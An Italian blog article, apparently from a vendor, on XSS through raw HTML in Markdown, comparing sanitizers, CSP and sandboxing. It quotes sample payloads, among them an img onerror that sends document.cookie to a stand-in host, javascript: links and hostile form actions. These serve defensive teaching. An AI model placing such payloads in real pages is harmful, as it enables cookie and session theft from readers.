XSS in Markdown: Markdown permette HTML grezzo, quindi permette gli script
21 agosto 2026 · 36 min di lettura
Markdown è stato progettato per stare accanto all'HTML, non per sostituirlo. Le regole di sintassi originali lasciano passare l'HTML senza toccarlo, e i parser che le seguono lo fanno ancora oggi. Dai a marked o a Python-Markdown un tag <script> e ti torna un tag <script>; markdown-it e remark fanno lo stesso una volta che l'HTML grezzo è attivato.
In breve
Markdown permette HTML grezzo per progetto, quindi qualunque Markdown che non hai scritto tu può portare <script>, onerror=, URL javascript:, <iframe srcdoc>, azioni di form e id che oscurano le tue variabili globali. La correzione è un sanificatore ad allow-list applicato all'HTML già reso, mai al codice sorgente Markdown, perché il renderer inventa markup che non è mai apparso alla lettera nel file. Usa DOMPurify nel browser e un sanificatore Node, Python, Go, Java, Rust o Ruby sulla stessa allow-list sul server, poi metti una Content Security Policy sulla pagina così un bug del sanificatore diventa una richiesta bloccata invece di una sessione rubata.
Nessuno si propone di rendere Markdown non fidato. Arriva di lato. Una casella di commento fa crescere un pannello di anteprima, un help desk comincia ad accettare ticket formattati, uno script di build rende ogni README di un monorepo su una dashboard interna, l'output di un modello finisce dritto in una pagina così qualcuno può leggerlo per bene. In ogni caso una stringa controllata da qualcun altro finisce in un documento con cui il tuo stesso JavaScript condivide una finestra.
È un comportamento corretto per un file che viene dal tuo stesso repository. Per un commento, un ticket o l'output di un modello linguistico, è un buco: qualcosa deve stare tra il parser e la pagina.
La parola "sanificare" nasconde quanta decisione ci sia dentro. Un sanificatore non è un filtro che accendi. È una dichiarazione scritta di quali tag e attributi il tuo prodotto permette, applicata in esattamente un punto della pipeline, in un ambiente il cui parser HTML corrisponde a quello che userà chi legge. Sbaglia la dichiarazione ed è decorazione; sbaglia la posizione ed è peggio della decorazione, perché tutto quello che viene dopo sembra sicuro.
L'HTML grezzo dentro Markdown è una funzione, non una svista
La premessa di Markdown era che la sua sintassi non avrebbe mai coperto tutto, quindi qualunque cosa non coprisse l'avresti scritta in HTML. Quella premessa è il motivo per cui il formato si è diffuso e perché resta la via più corta dal testo a una pagina. È anche il motivo per cui ogni renderer conforme è, per contratto, un passaggio diretto dell'HTML.
Un payload non deve sembrare uno. Questo è Markdown valido:
Thanks for the fix, this works now.
<img src=x onerror="fetch('https://elsewhere.invalid/?c='+document.cookie)">
Il parser riconosce un pezzo di HTML e lo copia nell'output. Niente è malformato, quindi niente ti avverte. Non c'è nessun errore, nessuna riga di log e nessun artefatto visibile nella pagina resa — un'immagine rotta è la sola cosa che ogni lettore è stato addestrato a ignorare.
I parser cercavano di aiutare. marked aveva un'opzione sanitize; è stata deprecata, poi rimossa, con la documentazione che rimandava a un sanificatore dedicato. Era la scelta giusta. Un filtro HTML scritto a metà dentro un parser Markdown è peggio di niente, perché sembra protezione: un revisore vede sanitize: true in un oggetto di opzioni e smette di fare domande. Sanificare l'HTML correttamente significa possedere un parser, un serializzatore, un'allow-list e un processo di risposta alla sicurezza, e una libreria Markdown non ha motivo di promettere tre di questi quattro.
La correzione più semplice, quando è applicabile: markdown-it lascia l'HTML grezzo disattivato per default, quindi le parentesi angolari escono con l'escape e visibili. Se i tuoi utenti non hanno motivo di scrivere HTML, lascialo disattivato — meno codice e meno bug di qualunque allow-list. Python-Markdown non ha un interruttore equivalente e la sua documentazione ti indirizza a un sanificatore separato, quindi una pipeline Python ha sempre un secondo passaggio, che qualcuno lo abbia scritto o no.
Disattivare l'HTML grezzo è la sola opzione in questa pagina che rimuove la superficie di attacco invece di filtrarla. Tutto il resto è un giudizio su quale HTML sei disposto a eseguire.
I vettori, nominati
L'elenco sotto non è una lista di trucchi esotici. È la superficie ordinaria dell'HTML, che è un linguaggio per costruire applicazioni, messo nelle mani di un documento scritto da uno sconosciuto.
| Cosa arriva | Cosa fa | La regola |
|---|---|---|
<script>alert(1)</script> |
Si esegue, se l'HTML viene analizzato invece che assegnato tramite un sink sicuro | Non permettere mai script; non permettere nemmeno noscript |
<img src=x onerror=...> |
Si attiva quando l'immagine fallisce, cosa che farà | Elimina ogni attributo il cui nome comincia con on |
<a href="javascript:..."> |
Si esegue al clic, senza bisogno di un tag script | Permetti solo http, https, mailto e i relativi |
<a href="data:text/html,..."> |
Un intero documento dentro un URL | Tieni data: fuori da href del tutto |
<iframe srcdoc="..."> |
Porta un documento dentro un attributo, nella tua origine | Elimina iframe, object, embed |
<form action="https://elsewhere"> |
Trasforma i tuoi campi in un form di qualcun altro | Elimina form, button, input, formaction |
<style> e style="..." |
Riposiziona, sovrappone, nasconde, e trafuga con url() |
Elimina entrambi a meno che tu non abbia un motivo |
<a id="config"> |
Oscura window.config senza eseguire codice |
Prefissa ogni id e name che sopravvive |
<base href="//elsewhere"> |
Ripunta ogni URL relativo della pagina | Eliminalo; imposta base-uri 'none' |
<meta http-equiv="refresh"> |
Porta via il lettore navigando altrove | Elimina meta |
<svg>, <math>, <template> |
Regole di parsing diverse, quindi bug diversi | Elimina a meno che l'allow-list non ne abbia bisogno |
Gli attributi di gestione eventi sono l'evento principale. <script> è il vettore che tutti bloccano per primo e quello che conta meno, perché i payload interessanti non ne hanno bisogno. Ogni attributo on* è uno script inline con un'ortografia diversa, e la specifica continua ad aggiungerne alla lista. È l'argomento più chiaro a favore dell'allow-list sugli attributi invece che nominare quelli che non ti piacciono: non puoi enumerare on* correttamente, e non devi farlo.
Gli schemi hanno bisogno di essere decodificati prima di essere controllati. Testa il valore decodificato, non la stringa grezza. java	script:, JaVaScRiPt: e un URL con una nuova riga iniziale sono un solo URL per un browser e diverse stringhe diverse per un confronto ingenuo. Tieni data: fuori da href come politica: i browser bloccano una navigazione di primo livello verso data:text/html, ma è la loro mitigazione, non la tua, e non copre ogni sink.
srcdoc è l'attributo che le persone dimenticano. Un <iframe srcdoc> porta un intero documento HTML dentro il valore di un attributo, con doppio escape, ed eredita l'origine del documento che lo ospita. Un sanificatore che permette iframe per i video incorporati e si dimentica di srcdoc ha lasciato passare HTML arbitrario nella stessa origine attraverso un buco a forma di lettore video.
Le azioni dei form non hanno bisogno di script per rubare. Un <form action="https://elsewhere.invalid"> iniettato che avvolge parte della tua pagina trasforma il prossimo clic del lettore in un invio da qualche altra parte, e un <input type="image" formaction="..."> sovrascrive l'azione di un form che hai scritto tu. Niente si esegue; il browser fa esattamente quello che dice il markup. Questo è il motivo per cui form e input meritano attenzione anche quando permetti <input type="checkbox" disabled> per le liste di attività GFM — permetti l'unica combinazione di attributi di cui hai bisogno e niente altro.
Il CSS è una capacità, non una decorazione. La sintassi expression() che una volta rendeva style direttamente eseguibile è sparita da tempo dai browser attuali, ed è ancora il motivo per cui il CSS ha questa fama. I problemi vivi sono più discreti. position: fixed con uno z-index alto metta l'elemento di un attaccante sopra la tua interfaccia, così un clic su "Annulla" finisce da qualche altra parte. opacity: 0 nasconde un testo che resta selezionabile. Un url() in uno sfondo raggiunge terze parti nel momento in cui l'elemento viene reso, il che è un beacon che dice a qualcuno quando il tuo documento è stato letto. Niente di tutto questo esegue uno script e tutto questo è un problema, motivo per cui la risposta predefinita per <style> e style è no.
DOM clobbering: un id che oscura una proprietà
Ogni elemento con un id diventa una proprietà su window sotto quel nome, e i controlli di form nominati diventano proprietà del loro form. Un <a id="config"> iniettato rende window.config un elemento anchor, così if (!window.config) { window.config = defaults } prende il ramo sbagliato, e config.apiBase adesso è undefined invece del tuo URL — oppure, con <a id="config" name="apiBase" href="//elsewhere">, qualcosa che ha scelto un attaccante. Nessuno script si è eseguito. Un attributo era sufficiente.
I sanificatori coprono meno di questo di quanto suggerisca la loro fama. Il controllo predefinito di DOM clobbering di DOMPurify elimina un id o un name solo quando il valore è già una proprietà di un Document o di un HTMLFormElement: id="title", id="body", id="cookie" e id="action" se ne vanno, id="config" resta. config è un nome inventato dal tuo stesso codice, e nessun sanificatore guarda le tue variabili globali. Una copertura più completa è SANITIZE_NAMED_PROPS, disattivata per default, che prefissa ogni id e name che conserva con user-content-.
Quel prefisso è la vera difesa — un id che non può collidere non può oscurare — e deve coprire sia gli id che arrivano nel documento sia gli id che il tuo renderer genera dai titoli, perché un titolo chiamato "Config" produce id="config" senza nessun attaccante coinvolto. Questo sito sanifica con DOMPurify nel browser e con il pacchetto xss sul server, contro un'unica allow-list condivisa, e prefissa ogni id di titolo con doc-: la stessa difesa applicata a mano. Se generi ancoraggi per un indice dei contenuti, questo è il passaggio da aggiungere oggi, prima di qualunque altra cosa in questa pagina.
Le allow-list battono le block-list
Una block-list nomina quello che è proibito e fallisce la prima volta che qualcuno usa un tag a cui nessuno aveva pensato. Fallisce di nuovo ogni volta che un browser rilascia una funzione, e una terza volta su capitalizzazione, codifica, o un attributo di cui l'autore della lista non aveva mai sentito parlare. Un'allow-list nomina cosa può contenere un documento e scarta il resto, quindi la sua modalità di fallimento è un elemento <details> mancante piuttosto che una sessione rubata.
L'allow-list resta corta, perché l'output di Markdown è piccolo: titoli, paragrafi, liste, citazioni, tabelle, codice, enfasi, link, immagini, linee orizzontali, e un <input> per le liste di attività. La lista degli attributi è ancora più corta — href, src, alt, title, class se stili i blocchi di codice, colspan e rowspan se le tue tabelle ne hanno bisogno, type, checked e disabled per le liste di attività.
Scrivi quella lista in un solo file e importala ovunque. Il fallimento più comune nella realtà non è un bypass, è la deriva: il sanificatore del browser e quello del server sono stati configurati separatamente, sei mesi di distanza, da due persone, e il documento che si rende in sicurezza nell'app è salvato con l'<iframe> ancora intatto per il prossimo che lo trova. Due allow-list sono un'allow-list e una responsabilità.
L'altra regola è che l'allow-list appartiene al prodotto, non alla libreria. Lo defaultSchema di rehype-sanitize segue le regole di sanificazione di GitHub e UGCPolicy() di bluemonday è un default ponderato per il contenuto generato dagli utenti — entrambi punti di partenza migliori di qualunque cosa scriveresti in un pomeriggio. Nessuno dei due sa se la tua pagina ha un <div id="app"> che il tuo framework legge. Parti dalla politica fornita, poi sottrai.
Sanifica dopo la resa, mai prima
Sanificare il codice sorgente Markdown significa indovinare cosa farà il parser, e il parser ti sorprenderà. Markdown ha diverse ortografie per lo stesso output — link di riferimento, escape con backslash, entità di carattere, blocchi HTML indentati — quindi un filtro che fa grep del codice sorgente in cerca di javascript: si perde [click](javascript:alert(1)) e una definizione di riferimento trecento righe sotto il link che la usa. Peggio, il renderer inventa markup che non è mai apparso alla lettera: un autolink diventa un <a href> completo che il codice sorgente non conteneva mai, un blocco recintato diventa <pre><code class="language-...">, un titolo diventa un id. Un filtro sul codice sorgente filtra la stringa sbagliata.
Quindi sanifica quello che il renderer ha prodotto, e poi smetti di toccarlo:
import DOMPurify from 'dompurify';
import { marked } from 'marked';
const clean = DOMPurify.sanitize(marked.parse(userMarkdown), {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a', 'code', 'pre', 'ul', 'ol', 'li'],
ALLOWED_ATTR: ['href', 'title'],
SANITIZE_NAMED_PROPS: true,
});
"Poi smetti di toccarlo" è la metà che le persone saltano. Un evidenziatore di sintassi che avvolge i token in span, un template che interpola la stringa dentro un wrapper, un'espressione regolare che riscrive gli anchor per aggiungere target="_blank", un passaggio che inietta ancore di titolo per un indice dei contenuti: ognuno di questi corre dopo il sanificatore e sta fuori dalla sua garanzia. Se una trasformazione deve succedere, o eseguila prima del sanificatore così anche il suo output viene controllato, oppure eseguila sul DOM dopo l'inserimento usando textContent e setAttribute invece di modificare una stringa.
Un'altra regola sulla posizione: conserva il Markdown originale, non l'HTML sanificato. Sanificare all'ingresso e fidarsi poi dell'archivio congela la tua allow-list alla data della scrittura, quindi il giorno in cui la restringi, ogni vecchio documento resta com'era.
Mutation XSS: due parser in disaccordo
Un sanificatore analizza l'HTML in un albero, decide che l'albero è pulito, e lo serializza di nuovo in una stringa. Il browser poi analizza di nuovo quella stringa. Se la seconda analisi produce un albero diverso dal primo, il controllo è stato eseguito su un documento che nessuno spedisce davvero. Questo è la mutation XSS, e il bug non appartiene a nessuno dei due parser — solo al disaccordo fra loro.
I punti da guardare sono dove le regole di parsing dell'HTML cambiano a metà documento. I contenuti estranei come <svg> e <math> seguono regole quasi-XML in cui <style> e i commenti si comportano diversamente. <template> ha un proprio documento di contenuto. L'annidamento che forza una chiusura implicita di un tag può spostare un elemento fuori dal sottoalbero in cui è stato controllato. Le entità dentro i valori di attributo si decodificano in uno stadio diverso da quelle nel testo.
Le difese sono noiose, ed essere noiose è il punto. Tieni il sanificatore aggiornato, perché questa classe di bug viene trovata dai ricercatori e corretta nelle release, quindi una versione fissata a tre anni fa è il vero rischio. Non incatenare mai due sanificatori, perché quello che l'ultimo produce è quello che viene spedito e la garanzia del primo è vuota. Tieni i contenuti estranei fuori dall'allow-list a meno che un requisito non li richieda.
Il sanificatore lato server ha qui una lacuna strutturale: senza un browser porta con sé un proprio parser, non quello che userà chi legge. La risposta di Ammonia è html5ever, che analizza e serializza i fragmenti come fanno i browser; quella di sanitize-html è htmlparser2, scelto per velocità e tolleranza. Tolleranza e fedeltà non sono la stessa proprietà. Simulare un DOM è peggio di entrambi — dato un ambiente che non può usare, DOMPurify restituisce il suo input invariato invece di lanciare un errore, quindi un setup jsdom rotto fallisce aperto e in silenzio.
Confronto rapido: il bigliettino
| Strumento | Ideale per | Capacità principale | Prezzo |
|---|---|---|---|
| Nessun HTML grezzo | Commenti, chat, qualunque cosa che non ha mai avuto bisogno di HTML | markdown-it fa l'escape dell'HTML grezzo per default |
Gratis, MIT |
| DOMPurify (browser) | Rendere Markdown non fidato in una pagina | Usa il parser del browser stesso, quindi nessuna seconda opinione | Gratis, Apache 2.0 o MPL 2.0 |
| DOMPurify + jsdom | Riusare un'allow-list su un server Node | Lo stesso oggetto di configurazione, un DOM sintetico | Gratis, Apache 2.0 o MPL 2.0; jsdom MIT |
| sanitize-html | Node senza un DOM | htmlparser2, allow-list di attributi per elemento | Gratis, MIT |
js-xss (xss) |
Node, browser e una riga di comando | Opzione whiteList, nessun DOM richiesto, ha una CLI |
Gratis, MIT |
| rehype-sanitize | Pipeline remark e unified | Sanifica l'albero hast, non una stringa | Gratis, MIT |
| nh3 | Python | Binding a ammonia in Rust | Gratis, MIT |
| Bleach | Niente di nuovo | Era il default Python; adesso non mantenuto | Gratis, Apache 2.0 |
| bluemonday | Go | Preset UGCPolicy() e StrictPolicy() |
Gratis, BSD-3-Clause |
| OWASP Java HTML Sanitizer | Java | HtmlPolicyBuilder, nessuna dipendenza a runtime |
Gratis, Apache 2.0 o BSD-2-Clause |
| Ammonia | Rust | html5ever, analizza come fa un browser | Gratis, MIT o Apache 2.0 |
| Loofah | Ruby | Scrubber di Nokogiri; il sanificatore di Rails si basa su di esso | Gratis, MIT |
| Content Security Policy | Il bug del sanificatore che non hai trovato | Blocca l'esecuzione a prescindere dal markup | Gratis, uno standard web |
| Iframe sandbox | Documenti che non puoi rendere sicuri | sandbox elimina origine, script e form |
Gratis, parte dell'HTML |
| TransformPipe | Convertire un file .md che non hai scritto tu |
Sanifica nel browser e sul server, un'allow-list unica | Gratis |
Le opzioni, una alla volta
Nessun HTML grezzo — l'opzione a cui nessuno pensa per primo
Prima di scegliere un sanificatore, chiediti se la funzione esiste per davvero. Se i tuoi utenti scrivono commenti, messaggi di chat o corpi di ticket, quasi nessuno di loro vuole scrivere HTML, e quelli che lo vogliono sono il motivo per cui stai leggendo questo. markdown-it spedisce con html: false, che fa l'escape delle parentesi angolari così si rendono come testo visibile.
| Pro | Contro |
|---|---|
| Rimuove la superficie di attacco invece di filtrarla | Qualunque cosa Markdown non può esprimere adesso è impossibile |
| Nessuna allow-list da mantenere, nessun sanificatore da tenere aggiornato | Documenti scritti altrove potrebbero già contenere HTML |
| Nessuna mutation XSS, perché niente viene ri-analizzato | Gli utenti che hanno bisogno di un blocco <details> si lamenteranno |
Prezzo: gratis, licenza MIT.
Dettagli tecnici e funzioni
markdown-ithahtml: falseper default; l'HTML grezzo nel codice sorgente viene sottoposto a escape, non analizzatomarkede Python-Markdown lasciano passare l'HTML grezzo e si aspettano un sanificatore separato- L'escape non è un sanificatore: produce testo, motivo per cui non si può bypassare
Per chi è? Per chiunque renda testo breve generato dagli utenti. È il default corretto per una casella di commento, e viene scelto molto meno spesso di quanto dovrebbe.
DOMPurify nel browser — la risposta predefinita
DOMPurify sanifica una stringa HTML usando il DOM dell'ambiente in cui gira. In un browser è lo stesso parser che renderà il risultato, il che rimuove alla radice la lacuna della mutation XSS: non c'è nessuna seconda opinione, perché c'è solo un parser.
| Pro | Contro |
|---|---|
| Usa il parser del browser stesso, quindi l'albero controllato è l'albero reso | Ha bisogno di un DOM, quindi Node semplice richiede jsdom |
| Mantenuto attivamente, con una vera storia di risposta alla sicurezza | SANITIZE_NAMED_PROPS è disattivato per default, quindi il clobbering è coperto solo in parte |
| La configurazione è un solo oggetto di opzioni che puoi condividere in tutto il codice | Restituisce il suo input invariato se gli dai un DOM inutilizzabile, il che fallisce aperto |
| Gli hook ti permettono di ispezionare e rifiutare nodi durante la sanificazione | I default dell'allow-list sono ampi; la maggior parte dei prodotti dovrebbe sottrarre da essi |
Prezzo: gratis, doppia licenza Apache 2.0 o MPL 2.0.
Dettagli tecnici e funzioni
ALLOWED_TAGSeALLOWED_ATTRper un'allow-list da zero;ADD_TAGSeADD_ATTRper estendere i defaultUSE_PROFILESrestringe agli insiemi HTML, SVG o MathML piuttosto che a tutti e treFORBID_TAGSeFORBID_ATTRper sottrarre dai defaultSANITIZE_NAMED_PROPSprefissa i valori diidenameche sopravvivono, che è la correzione per il DOM clobberingALLOW_DATA_ATTReALLOW_ARIA_ATTRcontrollano le due famiglie di attributi in blocco
Per chi è? Per chiunque renda Markdown in una pagina dentro un browser. La guida in JavaScript copre come collegare marked e DOMPurify nell'ordine giusto.
DOMPurify con jsdom — la stessa allow-list su un server
DOMPurify gira anche in Node contro una finestra jsdom. Il motivo per farlo non è che sia il miglior sanificatore server-side — è che è lo stesso sanificatore, configurato dallo stesso oggetto, così browser e server non possono divergere.
| Pro | Contro |
|---|---|
| Un'allow-list, una configurazione, due runtime | jsdom è una dipendenza grande per un solo compito |
| Il comportamento corrisponde da vicino al percorso del browser | jsdom non è un browser, quindi la lacuna del parser ritorna |
| API familiare se il tuo front end già la usa | Una finestra mal configurata la rende un no-op senza nessun errore |
Prezzo: gratis; DOMPurify Apache 2.0 o MPL 2.0, jsdom MIT.
Dettagli tecnici e funzioni
- Istanzia con
createDOMPurify(new JSDOM('').window)e riusa l'istanza - Importa l'allow-list da un modulo condiviso così non può essere modificata solo su un lato
- Verifica nei test che un tag
<script>venga rimosso nella configurazione distribuita
Per chi è? Per servizi Node che già rendono Markdown lato client e vogliono una sola definizione di "sicuro" invece di due.
sanitize-html — un sanificatore Node con un proprio parser
sanitize-html pulisce l'HTML con allow-list di attributi per elemento, costruito su htmlparser2 piuttosto che su un DOM. La forma delle sue opzioni si adatta bene a come si legge davvero un'allow-list Markdown: questo tag può avere questi attributi, e nessun altro.
| Pro | Contro |
|---|---|
| Nessun DOM e nessun jsdom, quindi è leggero in un processo server | Il suo parser non è quello del browser, che è la lacuna della mXSS |
| Le allow-list di attributi sono per elemento, che è la granularità giusta | La configurazione è verbosa per un'allow-list ampia |
transformTags riscrive gli elementi durante il passaggio |
Il repository autonomo è archiviato e in sola lettura, con lo sviluppo spostato nel monorepo di ApostropheCMS (verificato su github.com/apostrophecms/sanitize-html, l'8 settembre 2026) |
Prezzo: gratis, licenza MIT.
Dettagli tecnici e funzioni
allowedTags,allowedAttributes,allowedSchemesetransformTagscome opzioni principali- Costruito su htmlparser2, descritto dal progetto come scelto per velocità e tolleranza
- Gira ovunque girì Node, senza nessun passaggio di build nativo
Per chi è? Per servizi Node che vogliono un'allow-list vera senza spedire un'implementazione DOM, e team a cui la forma delle sue opzioni per elemento risulta più facile da revisionare di una lista piatta.
js-xss — un sanificatore senza DOM e con una riga di comando
Il pacchetto xss sanifica l'HTML in Node e nei browser contro un'opzione whiteList, senza bisogno di un DOM. Spedisce anche con una CLI, che lo rende usabile in una pipeline di shell oltre che in un servizio.
| Pro | Contro |
|---|---|
| Gira in Node e nei browser senza dipendenza da un DOM | Ha un proprio parser, quindi si applica la lacuna del parser |
| Una CLI, così si adatta a uno script di build senza scrivere codice | Superficie di configurazione più piccola di quella di DOMPurify |
whiteList si mappa direttamente su coppie tag-attributo |
allowList è un alias, quindi la documentazione si legge in due modi |
Prezzo: gratis, licenza MIT.
Dettagli tecnici e funzioni
whiteList(con aliasallowList) definisce i tag permessi e i loro attributi- Gestori personalizzati per i valori degli attributi, utili per i controlli sugli schemi di
href xss -i <input> -o <output>sanifica un file dalla riga di comando
Per chi è? Per servizi Node che vogliono una dipendenza piccola, e chiunque sanifichi un file in CI senza un browser. Questa è la metà server della pipeline dietro questo sito, insieme a DOMPurify nel browser contro un'unica allow-list condivisa.
rehype-sanitize — sanificare l'albero, non la stringa
Se la tua pipeline è remark o unified, rehype-sanitize sanifica l'albero hast a metà della catena. Niente viene serializzato, controllato e ri-analizzato, il che rimuove un'intera classe di bug rimuovendo il passaggio in cui vive.
| Pro | Contro |
|---|---|
| Opera sull'albero, quindi non c'è nessun andirivieni di stringhe su cui non essere d'accordo | Ha senso solo dentro una pipeline unified |
defaultSchema segue le regole di sanificazione di GitHub, un punto di partenza ponderato |
La pipeline unified porta con sé un apprendimento vero |
| Nessun DOM richiesto; gira in Node, Deno e nei browser | Solo ESM, e la sintassi dello schema è una cosa in sé da imparare |
Prezzo: gratis, licenza MIT.
Dettagli tecnici e funzioni
- Sanifica hast, l'albero di sintassi HTML, tra
remark-rehypeerehype-stringify defaultSchemaè esportato e può essere esteso o restretto- Vai dopo qualunque plugin che genera HTML, e prima di stringify
Per chi è? Per team che già usano remark o unified per trasformare documenti piuttosto che solo renderli. Un sanificatore dentro la pipeline batte uno avvitato sull'output.
nh3 — la risposta Python
nh3 fornisce binding Python ad ammonia, il sanificatore HTML in Rust. Perché il lavoro accade in una libreria compilata che usa un parser di livello browser, è insieme veloce e più vicino al comportamento dei browser di un filtro Python puro.
| Pro | Contro |
|---|---|
| Basato su ammonia e html5ever, che analizzano come fanno i browser | Una dipendenza compilata, quindi le wheel contano in ambienti vincolati |
| Mantenuto, ed è il sostituto pratico di Bleach | Una superficie API più piccola di quella di Bleach |
| Basato su allow-list, in linea con il modello che questo articolo sostiene | La configurazione non è un drop-in per quella di Bleach |
Prezzo: gratis, licenza MIT.
Per chi è? Per servizi Python che sanificano output Markdown, e chiunque stia ancora importando Bleach.
Bleach — quello da cui migrare
Bleach è stato il sanificatore HTML Python predefinito per anni e molta parte del tooling esistente lo importa ancora. Non è più mantenuto: il README dichiara che non ci saranno future release, nemmeno per problemi di sicurezza (verificato su github.com/mozilla/bleach, l'8 settembre 2026).
| Pro | Contro |
|---|---|
| Un grande corpo di codice e documentazione esistenti | Non mantenuto, senza nessuna release di sicurezza in arrivo |
| API di allow-list familiare | Un sanificatore non mantenuto è la sola dipendenza che non puoi fissare e dimenticare |
| Ancora funzionante per i casi che gestiva | La difesa dalla mXSS dipende da una manutenzione continua, che si è fermata |
Prezzo: gratis, licenza Apache 2.0.
Per chi è? Per nessuno, per lavoro nuovo. Se è nel tuo file dei requisiti, è un ticket di migrazione, non una nota a piè di pagina — questa è una classe di bug in cui "tienilo aggiornato" è quasi tutta la difesa.
bluemonday — la risposta Go
bluemonday sanifica l'HTML in Go contro una politica che costruisci tu o uno dei preset forniti. Le sue due politiche nominate si mappano bene sulle due situazioni che ha la maggior parte dei prodotti.
| Pro | Contro |
|---|---|
UGCPolicy() è un buon punto di partenza per il contenuto generato dagli utenti |
Solo Go |
StrictPolicy() elimina tutto il markup, per titoli e campi su una sola riga |
Costruire una politica è codice, quindi va revisionato come codice |
| Basato su allow-list per progetto, con pattern regexp per i valori degli attributi | Ha un proprio parser, quindi si applica la lacuna del parser |
Prezzo: gratis, licenza BSD-3-Clause.
Dettagli tecnici e funzioni
UGCPolicy()permette un ampio insieme di elementi per contenuto degli utenti ed esclude iframe, object, embed, style e scriptStrictPolicy()rimuove tutti gli elementi e gli attributi- Le politiche sono componibili, quindi puoi partire da un preset e sottrarre
Per chi è? Per servizi Go che rendono Markdown degli utenti. Comincia con UGCPolicy(), poi rimuovi quello che il tuo prodotto non usa.
OWASP Java HTML Sanitizer — la risposta Java
Un sanificatore Java con un builder di politiche esplicito e nessuna dipendenza a runtime, mantenuto sotto l'ombrello OWASP. L'API HtmlPolicyBuilder fa leggere l'allow-list come una specifica, utile quando l'allow-list deve sopravvivere a una revisione di sicurezza.
| Pro | Contro |
|---|---|
HtmlPolicyBuilder produce una politica leggibile e revisionabile |
Solo Java |
| Nessuna dipendenza a runtime | Le politiche pre-imballate sono strette, quindi la maggior parte del lavoro è tuo |
Sanitizers.FORMATTING e Sanitizers.LINKS pre-imballati, combinabili |
Ha un proprio parser, quindi si applica la lacuna del parser |
Prezzo: gratis, doppia licenza Apache 2.0 o BSD-2-Clause.
Per chi è? Per servizi JVM. L'API a builder è l'espressione più chiara dell'allow-listing in qualunque linguaggio di questa lista, il che la rende una buona cosa da mostrare a chi non è ancora convinto.
Ammonia — la risposta Rust, e l'argomento del parser
Ammonia è un sanificatore HTML ad allow-list in Rust costruito su html5ever. Il suo approccio dichiarato è analizzare e serializzare i fragmenti di documento nello stesso modo dei browser, che è la proprietà che conta più per un sanificatore lato server.
| Pro | Contro |
|---|---|
| html5ever analizza come fanno i browser, restringendo la lacuna del parser | Solo Rust, a meno che tu lo usi tramite binding |
| Basato su allow-list e veloce | Meno politiche già pronte di quelle di bluemonday |
| È anche il motore dietro nh3 per Python | Una dipendenza compilata in build poliglotte |
Prezzo: gratis, doppia licenza MIT o Apache 2.0.
Per chi è? Per servizi Rust, e — tramite nh3 — per quelli Python. Vale anche la lettura se stai scegliendo un sanificatore server in qualunque linguaggio, perché la sua scelta di parser è l'argomento che dovresti applicare agli altri.
Loofah — la risposta Ruby
Loofah pulisce l'HTML usando Nokogiri, con scrubber che eliminano, riducono, fanno l'escape o "whitewash" del markup. Il sanificatore HTML stesso di Rails è costruito sopra di esso, quindi la maggior parte delle applicazioni Ruby lo sta già usando indirettamente.
| Pro | Contro |
|---|---|
| Costruito su Nokogiri, un parser HTML ben esercitato | Solo Ruby |
| Già sotto il sanificatore di Rails, quindi ben testato sul campo | Nokogiri è una dipendenza nativa |
| Diverse strategie di scrubbing, non solo una | I nomi delle strategie richiedono un momento per essere imparati |
Prezzo: gratis, licenza MIT.
Per chi è? Per applicazioni Ruby e Rails. Se stai chiamando l'helper sanitize di Rails sei già qui; la domanda è se l'allow-list è tua o quella predefinita del framework.
Content Security Policy — lo strato che un sanificatore non può essere
Una CSP non è un sanificatore e non compete con uno. Risponde a una domanda diversa: cosa succede quando il sanificatore ha torto. Un sanificatore cerca di garantire che nessun markup eseguibile raggiunga la pagina; una CSP dice al browser di non eseguire markup a prescindere da come sia arrivato.
| Pro | Contro |
|---|---|
| Funziona sul bug che non hai ancora trovato | Non è un sostituto della sanificazione; non rimuove niente |
script-src 'none' è assoluto su una pagina senza propri script |
Una pagina applicativa che esegue il proprio JavaScript non può usare 'none' |
base-uri 'none' e frame-ancestors 'none' chiudono vettori che nessuna allow-list copre |
Adattare una politica a un'app esistente è lavoro vero |
| Gli endpoint di reporting trasformano le iniezioni tentate in telemetria | frame-ancestors e sandbox sono ignorati in un tag <meta> |
Prezzo: gratis, uno standard web implementato dai browser.
Dettagli tecnici e funzioni
script-src 'none'su una pagina il cui unico compito è mostrare documentibase-uri 'none'neutralizza un<base href>iniettato, cosa che nessuna allow-list di tag può esprimereframe-ancestors 'none'impedisce che il tuo documento venga incorniciato dentro la pagina di qualcun altroimg-srceconnect-srclimitano dove un elemento superstite può inviare una richiesta- Consegnata come header di risposta o come tag
<meta http-equiv>, con la forma meta che ignoraframe-ancestors,report-uriesandbox
Per chi è? Per ogni pagina che rende il documento di qualcun altro. Il compromesso è reale: una pagina che esegue il proprio JavaScript non può usare script-src 'none', il che spinge a rendere i documenti non fidati su una rotta propria. Un documento condiviso come link da TransformPipe viene servito così, e il file che scarichi non ha nessuno script del tutto.
Un iframe con sandbox — isolamento quando il filtraggio non basta
A volte il documento deve conservare markup che non puoi permettere in sicurezza — un report interno con i propri stili, un'email resa, output da un sistema che non controlli. Rendilo dentro un iframe con un attributo sandbox e gira in un'origine opaca senza accesso alla tua pagina.
| Pro | Contro |
|---|---|
| Isolamento invece di filtraggio, così le lacune dell'allow-list contano meno | Il layout adesso è tuo da gestire: dimensionamento, scorrimento, stampa |
sandbox senza allow-same-origin significa nessun accesso al tuo storage o DOM |
allow-scripts insieme a allow-same-origin sconfigge tutto quanto |
| Si combina con una CSP invece di competere con essa | Link, focus e accessibilità hanno tutti bisogno di un collegamento deliberato |
Prezzo: gratis, parte dell'HTML.
Per chi è? Per chiunque mostri documenti il cui markup deve arrivare intatto. Usalo insieme a un sanificatore, non al suo posto — una sandbox impedisce a uno script di raggiungere la tua pagina, e non fa niente contro un documento che fa phishing al lettore dentro il frame.
TransformPipe — un convertitore che ha già preso queste decisioni
TransformPipe convertisce Markdown in un documento HTML completo e autosufficiente nel tuo browser. La parte rilevante qui è che sanificare non è un'opzione che puoi dimenticare di accendere: l'HTML grezzo nel codice sorgente passa un'allow-list sia sulla via verso la pagina che su quella verso il file esportato.
| Pro | Contro |
|---|---|
Un'allow-list, applicata da DOMPurify nel browser e da xss sul server |
L'allow-list è fissa: nessuna politica personalizzata tua |
| Gli id dei titoli sono prefissati, così le ancore generate non possono oscurare variabili globali | Un documento alla volta, non una pipeline di build |
| Da disconnesso, niente viene caricato — il file è letto e convertito in locale | Il browser fa il lavoro, quindi un file molto grande dipende dalla macchina |
| L'export è un unico file senza nessuna richiesta esterna di nessun tipo | Non è una libreria: convertisce, non si incorpora nella tua app |
